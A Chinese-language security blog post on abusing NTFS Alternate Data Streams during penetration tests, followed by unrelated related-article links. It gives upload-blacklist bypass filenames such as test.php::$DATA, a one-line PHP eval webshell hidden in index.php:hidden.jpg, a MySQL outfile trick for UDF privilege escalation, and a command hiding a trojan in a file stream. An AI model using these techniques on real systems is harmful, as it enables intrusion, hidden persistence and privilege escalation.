有关ADS的简单说明请看http://www.xfocus.net/articles/200212/466.html
可以看到ADS在很久以前就被一些安全人员所关注,并且也提出了一些经典的利用,比如隐藏文件,隐藏
webshell(http://blog.csdn.net/lake2/article/details/269659),随着这次爆出来的IIS的
权限绕过,我们再次测试了一下ADS在渗透中的利用方法,并发现了一些比较有意思的现象。

1 经典的IIS 目录访问权限绕过:

详见:http://www.exploit-db.com/exploits/19033/

注:这里的权限是NTFS目录属性的权限,并非说是后台直接绕过。别误会。

2 Bypass 黑名单验证

在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件
内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:

上传的文件名  服务器表面现象    生成的文件内容

Test.php:a.jpg     生成Test.php  空

Test.php::$DATA  生成test.php  <?php phpinfo();?>

Test.php::$INDEX_ALLOCATION  生成test.php文件夹  

Test.php::$DATA\0.jpg  生成0.jpg  <?php phpinfo();?>

Test.php::$DATA\aaa.jpg  生成aaa.jpg  <?php phpinfo();?>

PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。

  根据第二个现象,我们可以bypass一些黑名单验证。

  后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。(由于windows把\ /当成了目录,而上传只认识文件名所导致的)

3 在隐藏webshell中的利用:

方法:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞: echo ^<?php @eval(request[cmd])?^>  > index.php:hidden.jpg

这样子就生成了一个不可见的shell
hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里
把这个ADS文件include进去,<?php
include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了。

4 UDF提权中的利用

UDF提权tips:如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创
建加载自定义函数。而又由于mysql是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命
令了。

Mysql
5.1以上(现在都5.6版本了,估计老版的不常见了。),在加载自定义函数的DLL时,要求目录必须是mysql目录下的lib\plugin\目录。
直接导入C:\windows\system32这种目录是加载不了dll的,也就没办法creat function。但是可悲的是mysql
5.1之后的版本在安装的时候是默认不存在lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。

还有一些情况,比如:你获取webshell了,但是webshell权限被限制的很死,根本没办法新建lib\plugin目录,或者你根本就
没有webshell,只有一个Mysql的弱口令(http://blog.sina.com.cn/s
/blog_6ca7b58101013kt4.html)。在以前估计就是只有放弃了,但是利用ADS我们则可以bypass掉这个限制。

demo :

select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';

会在mysql目录下生成一个lib目录

5 利用ADS隐藏木马

隐藏好办,直接在cmd里面执行命令: type muma.ext test.txt:muma.exe

这样就把木马写进test.txt的数据流里了。但是想运行的话还得借助其他工具,winrar就是一个,具体方法百度百科里都有,但是百科里的别信,成功不了,需要用type命令才能将二进制可执行文件写进去的。

Winrar的自解压木马我还是觉得不靠谱,毕竟后缀是exe,如果目标连这个都确定不了,那还不如直接发muma.exe。所以这个利用我也没怎么研究了。

注:数据流中如果是可执行文件,用start命令调用时,需要在win xp 和2003环境下,win7下失败。

相关信息下载:NTFS-ADS

NTFS中的ADS的一些问题的更多相关文章

  1. NTFS系统的ADS交换数据流

    VC++ 基于NTFS的数据流创建与检测 What are Alternate Streams?(交换数据流) NTFS alternate streams , 或者叫streams,或者叫ADS(w ...

  2. 【旧文章搬运】ntfs中的文件名排序规则~

    原文发表于百度空间,2011-04-05========================================================================== 在分析nt ...

  3. 【web端权限维持】利用ADS隐藏webshell

    0X01 前言 未知攻,焉知防,在web端如何做手脚维护自己拿到的权限呢?首先要面临的是webshell查杀,那么通过利用ADS隐藏webshell,不失为一个好办法. 0X02 利用ADS隐藏web ...

  4. 应用安全-web安全-WebShell整理

    shellcode.aspx <%@ Page Language="C#" AutoEventWireup="true" Inherits="S ...

  5. NTFS ADS(备用数据流)

    NTFS Alternate Data Stream(ADS)   1993年微软推出了基于流行的NT平台的Windows NT操作系统.之后,NTFS作为WIndows开发基于NT的操作系统时的首选 ...

  6. 利用NTFS交换数据流隐藏文件

    利用NTFS交换数据流隐藏文件 发表于 2012 年 12 月 15 日 由 晴刃 这篇文章介绍一下Windows的NTFS文件系统的ADS(alternate data streams,交换数据流) ...

  7. NTFS文件系统简介(转载)

    原文地址:http://www.cnblogs.com/watertao/archive/2011/11/28/2266595.html 1.简介 NTFS(New Technology File S ...

  8. 文件系统取证分析(第11章:NTFS概念)

    /* Skogkatt 开始翻译于2015-01-24,仅作为学习研究之用,谢绝转载. 2015-01-31更新MFT entry 属性概念. 2015-02-01翻译完成. 译注:我翻译这本书的这三 ...

  9. NTFS文件系统简介

    原文地址:http://www.cnblogs.com/watertao/archive/2011/11/28/2266595.html 1.简介 NTFS(New Technology File S ...

随机推荐

  1. Discuz 论坛修改admin账户密码

    打开Navicat for MySQL 找到数据表 pre_ucenter_members 把密码修改为123456789 password:047099adb883dc19616dae0ef2adc ...

  2. mysql-5.7.17-winx64免安装配置

    一,下载mysql-5.7.17-winx64.zip 地址:https://dev.mysql.com/downloads/file/?id=467269 二,解压到自己的某个磁盘:data文件夹和 ...

  3. 58. Spring Boot国际化(i18n)【从零开始学Spring Boot】

    国际化(internationalization)是设计和制造容易适应不同区域要求的产品的一种方式.它要求从产品中抽离所有地域语言,国家/地区和文化相关的元素.换言之,应用程序的功能和代码设计考虑在不 ...

  4. 面向对象:继承(经典类&新式类继承原理、属性查找)、派生

    继承: 继承是指类与类之间的关系,是一种“什么”是“什么”的关系. 继承的功能之一就是用来解决代码重用问题 继承是一种创建新类的方式,在Python中,新建的类可以继承一个或多个父类,父类又可以称为基 ...

  5. Linux下汇编语言学习笔记54 ---

    这是17年暑假学习Linux汇编语言的笔记记录,参考书目为清华大学出版社 Jeff Duntemann著 梁晓辉译<汇编语言基于Linux环境>的书,喜欢看原版书的同学可以看<Ass ...

  6. Ubuntu 16.04利用SecureCRT上传/下载文件(sz/rz命令)

    说明:XShell同样也是支持的. 一.安装软件 sudo apt-get install lrzsz 二.sz下载文件用法: #下载一个文件 sz filename #下载多个文件 sz filen ...

  7. Ubuntu 16.04安装QtCharts时报错:'qtConfig' is not a recognized test function.

    错误: 'qtConfig' is not a recognized test function. 解决方法: 其实5.9分支的版本有问题,转成5.7分支即可. git clone https://g ...

  8. 008 frame relay

    Router>en Router#config t Enter configuration commands, one per line.  End with CNTL/Z. Router(co ...

  9. Centos7下安装.bin格式

    1.检查系统是否已经存在jdk版本,#java –version.javac –version 2.赋予.bin的jdk安装包的执行权限chmod u+x jdk-6u25-linux-x64.bin ...

  10. nginx进程和实时控制

    原文地址:http://nginx.com/resources/admin-guide/processes-and-runtime-control/ Processes and Runtime Con ...